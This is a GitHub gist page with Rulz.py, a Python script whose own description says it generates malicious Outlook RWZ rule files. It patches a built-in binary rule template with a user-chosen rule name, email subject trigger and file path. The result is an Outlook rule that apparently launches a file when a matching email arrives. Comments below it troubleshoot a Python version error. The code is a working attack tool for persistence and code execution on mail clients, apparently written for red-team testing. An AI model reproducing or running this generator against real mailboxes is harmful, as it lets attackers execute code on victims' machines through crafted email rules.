Skip to content

Instantly share code, notes, and snippets.

@monoxgas
Created October 14, 2015 17:31
Show Gist options
  • Star 39 You must be signed in to star a gist
  • Fork 19 You must be signed in to fork a gist
  • Save monoxgas/7fec9ec0f3ab405773fc to your computer and use it in GitHub Desktop.
Save monoxgas/7fec9ec0f3ab405773fc to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
# Rulz.py
# Author: Nick Landers (@monoxgas) - Silent Break Security
import os
import sys
import argparse
import re
import binascii
import codecs
bNameOffset = 50 #In relation to the start of the file
bRuleLengthOffset = 21 #In relate to bNameOffset (With 0 length name)
bRuleHeaderLength = 24
bSubjectNameOffset = 72 #In relation to bRuleLengthOffset
bPathOffset = 15 #In relate to bSubjectNameOffset (With 0 length subject name)
template = b'\x00\x00\x14\x00\x00\x00\x14\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x14\x00\x07D\x00e\x00f\x00a\x00u\x00l\x00t\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00r\x00\x00\x00\x04\x00\xff\xff\x00\x00\x0c\x00CRuleElement\x90\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x80d\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x80\xcd\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04T\x00e\x00s\x00t\x00\x01\x80I\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0bC\x00:\x00\\\x00t\x00e\x00s\x00t\x00.\x00t\x00x\x00t\x00\x00\x00\x00\x00\x00\x00\x00\x00P\xfa\xa4O\xf6\x92\xe4@\x00\x00\x00\x00'
def main(arguments):
parser = argparse.ArgumentParser(description="Rulz.py - Script for generating malacious Outlook RWZ files.\nCan be imported directly into Outlook\nAuthor: Nick Landers (@monoxgas) - Silent Break Security",
formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('-i', '--input', help="Original Rule file", type=argparse.FileType('rb'))
parser.add_argument('outfile', help="RWZ to write", type=argparse.FileType('wb'))
args = parser.parse_args(arguments)
data = template
if args.input:
with args.input as f:
for line in f:
data = line
print("\r\nLet's break some rulz...\r\n")
offset = bNameOffset
nameLength = data[offset]
name = data[(offset+1):((offset+1)+nameLength*2)].decode('utf-16le')
newName = input("Enter a rule name? ("+name+"): ")
if newName == '': newName = name
offset = offset+(nameLength*2) + bRuleLengthOffset + bSubjectNameOffset
subjectNameLength = data[offset]
subjectName = data[(offset+1):((offset+1)+subjectNameLength*2)].decode('utf-16le')
newSubjectName = input("Enter a E-Mail subject trigger? ("+subjectName+"): ")
if newSubjectName == '': newSubjectName = subjectName
offset = offset+(subjectNameLength*2)+bPathOffset
pathLength = data[offset]
path = data[(offset+1):((offset+1)+pathLength*2)].decode('utf-16le')
newPath = input("Enter a file path? ("+path+"): ")
if newPath == '': newPath = path
data = bytearray(data)
offset = bNameOffset
newNameLength = len(newName) # Get our newlength
data[offset] = newNameLength # Write the length
data[(offset+1):(offset+1)+nameLength*2] = bytearray(newName.encode('utf-16le')) # Replace the data
ruleLengthOffset = offset+(newNameLength*2)+bRuleLengthOffset
offset = ruleLengthOffset+bSubjectNameOffset
newSubjectNameLength = len(newSubjectName)
data[offset] = newSubjectNameLength
data[(offset+1):(offset+1)+subjectNameLength*2] = bytearray(newSubjectName.encode('utf-16le'))
offset = offset+(newSubjectNameLength*2)+bPathOffset
data[offset] = len(newPath)
data[(offset+1):(offset+1)+pathLength*2] = bytearray(newPath.encode('utf-16le'))
data[ruleLengthOffset] = len(data[ruleLengthOffset+bRuleHeaderLength:])
print("Writing data to file...")
with args.outfile as w:
w.write(data)
if __name__ == '__main__':
sys.exit(main(sys.argv[1:]))
@mubix
Copy link

mubix commented Oct 5, 2016

Have an error:

python rulz.py evil.rwz

Let's break some rulz...

Traceback (most recent call last):
  File "rulz.py", line 83, in <module>
    sys.exit(main(sys.argv[1:]))
  File "rulz.py", line 40, in main
    name = data[(offset+1):((offset+1)+nameLength*2)].decode('utf-16le')
TypeError: unsupported operand type(s) for +: 'int' and 'str'

@zeroSteiner
Copy link

@mubix, despite what the she-bang lines says this needs to be run with Python3. That fixed it for me.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment